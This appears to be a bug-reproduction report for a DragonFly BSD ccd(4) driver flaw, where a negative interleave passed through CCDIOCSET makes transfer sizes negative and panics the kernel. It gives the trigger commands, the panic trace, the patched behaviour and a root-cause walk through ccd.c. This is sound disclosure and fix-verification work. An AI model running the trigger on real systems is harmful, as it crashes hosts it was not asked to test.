# DF-4279 — ccd(4): negative interleave ⇒ negative component transfer size ⇒ kernel panic

## Build
On the DragonFly guest (as root):
```
cc -O -o /tmp/df4279 /root/df4279/trigger.c
```

## Run (see run.sh for the full self-contained sequence)
```
kldload ccd
vnconfig -c -s labels vn0 /root/comp0.img          # 8MB vnode disk
disklabel32 -R -r vn0 <labelfile>                  # partition d: fstype ccd (19)
/tmp/df4279 /dev/ccd0 /dev/vn0s0d 32               # control: config+read OK
/tmp/df4279 /dev/ccd1 /dev/vn1s0d -1               # trigger: negative interleave
```

## Expected (vulnerable kernel)
Control prints `CCDIOCSET ok ... ileave=32` + `pread returned 512 bytes`.
Trigger prints `CCDIOCSET ok ... ileave=-1` (kernel ACCEPTS the negative
interleave), the first 512-byte `pread` never returns, and the kernel
panics within seconds:

```
panic: assertion "obj != NULL" failed in vm_object_hold_shared at /usr/src/sys/vm/vm_object.c:330
cpuid = 2
vm_object_hold_shared() at vm_object_hold_shared+0x3f
vm_fault() at vm_fault+0x408
trap_pfault() at trap_pfault+0x9a
trap() at trap+0x17c
calltrap() at calltrap+0x9
--- trap 000000000000000c, rip = ... memmove() at memmove+0x10a
Debugger("panic")
```
Reproduced twice with identical signature (panic.txt, run.2.log).

## Expected (patched — fix.diff hunk 1)
```
CCDIOCSET: Invalid argument
```
No panic, guest stays up, control path (ileave=32) unregressed (fix_patched.log).

## Why it happens
- `ccio_ileave` is `int`; ccd.c:1326 stores it with **no lower-bound check**
  (ccdconfig(8) rejects ileave<0 at ccdconfig.c:254, but the ioctl is
  directly reachable; /dev/ccdN is 0640 root:operator).
- All later guards test `sc_ileave > 0` / `== 0` only, so the negative
  value flows into `ccdbuffer()`:
  - ccd.c:975-976 `cboff = bn % ileave` (≤0), `cbn = bn / ileave`
  - ccd.c:1068 `cbc = dbtob((off_t)(sc_ileave - cboff))` → **negative**
  - ccd.c:1071 `b_bcount = (cbc < bcount) ? cbc : bcount` → **negative**
- ccd.c:886-888 `bcount -= rcount` with `rcount = cbp[0]->cb_buf.b_bcount`
  negative ⇒ `bcount` grows every iteration ⇒ the dispatch loop never
  terminates, and `addr += rcount` walks `b_data` *backwards* out of the
  user buffer; the resulting OOB transfer faults in memmove → panic.
